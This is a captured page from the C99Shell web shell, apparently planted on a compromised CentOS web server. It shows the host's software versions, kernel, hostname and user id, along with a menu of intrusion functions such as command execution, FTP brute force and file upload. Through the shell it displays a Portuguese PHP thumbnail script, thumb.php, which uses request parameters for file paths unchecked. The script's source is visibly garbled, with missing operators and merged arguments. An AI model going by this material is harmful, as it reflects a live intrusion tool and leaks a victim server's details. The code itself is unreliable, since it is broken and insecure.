!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/cms/   drwxr-xr-x
Free 9.32 GB of 93.48 GB (9.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     thumb.php (2.86 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
# Arquivo: thumb.php
# Autor: Helbert Fernandes - estaleiroweb
# baseado no trabalho de Mauricio Wolff
include "fileinc.php"// Inclusão de funcões de Caminho e Diretório

// Constantes: variaveis que não mudam em todo o programa
define('MAX_WIDTH' , (isset($_GET['x']))?$_GET['x']:62);
define('MAX_HEIGHT', (isset($_GET['y']))?$_GET['y']:43);

# Pega onde está a imagem
$temp=explode('/',$_GET['img']);
$image_file array_pop($temp);
$image_path implode('/',$temp);
$image_path=caminhoAtivo().$image_path.(($image_path=='')?'':'/');

# Carrega a imagem
if (!file_exists($image_path.$image_file)) $image_file='';
switch (
strtolower(end(explode('.',$image_file)))) {
    case 
'jpg':
        
$img = @imagecreatefromjpeg($image_path.$image_file);
        
mostraImg('imagejpeg',$img,MAX_WIDTH,MAX_HEIGHT);
        break;
    case 
'png':
        
$img = @imagecreatefrompng($image_path.$image_file);
        
mostraImg('imagepng',$img,MAX_WIDTH,MAX_HEIGHT);
        break;
    case 
'gif':
        
$img = @imagecreatefromgif($image_path.$image_file);
        
mostraImg('imagegif',$img,MAX_WIDTH,MAX_HEIGHT);
        break;
    case 
'bmp':
        
$img = @imagecreatefromwbmp ($image_path.$image_file);
        
mostraImg('imagewbmp',$img,MAX_WIDTH,MAX_HEIGHT);
        break;
    default:
        
$img imagecreate(6243);
        
imagecolorallocate($img204204204);
        
$c imagecolorallocate($img153153153);
        
$c1 imagecolorallocate($img000);
        
imageline($img00160120$c);
        
imageline($img16000120$c);
        
imagestring($img155"ERRO:"$c1);
        
imagestring($img101515"Sem"$c1);
        
imagestring($img10527"Imagem"$c1);
        
mostraImg('imagejpeg',$img,MAX_WIDTH,MAX_HEIGHT);
}

function 
tamanhoImg($img,$x,$y){
    
// Pega o tamanho da imagem e proporção de resize
    
$width imagesx($img);
    
$height imagesy($img);
    
$scale min($x/$width$y/$height);
    
// Se a imagem é maior que o permitido, encolhe ela!
    
if ($scale 1) {
        
$new_width floor($scale $width);
        
$new_height floor($scale $height);
        
// Cria uma imagem temporária
        
$tmp_img imagecreatetruecolor($new_width$new_height);
        
// Copia e resize a imagem velha na nova
        
imagecopyresized($tmp_img$img0000$new_width$new_height$width$height);
        
imagedestroy($img);
        
$img $tmp_img;
    }
    return 
$img;
}
function 
mostraImg($funcao,$img,$x,$y){
    if (!
function_exists($funcao)) $funcao='imagejpeg';
    switch (
$funcao) {
        case 
'imagejpeg':
            
header('Content-type: image/jpeg');
            
imagejpeg(tamanhoImg($img,$x,$y));
            break;
        case 
'imagegif':
            
header('Content-type: image/gif');
            
imagegif(tamanhoImg($img,$x,$y));
            break;
        case 
'imagepng':
            
header('Content-type: image/png');
            
imagepng(tamanhoImg($img,$x,$y));
            break;
        case 
'imagewbmp':
            
header('Content-type: image/vnd.wap.wbmp');
            
imagewbmp(tamanhoImg($img,$x,$y));
            break;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0041 ]--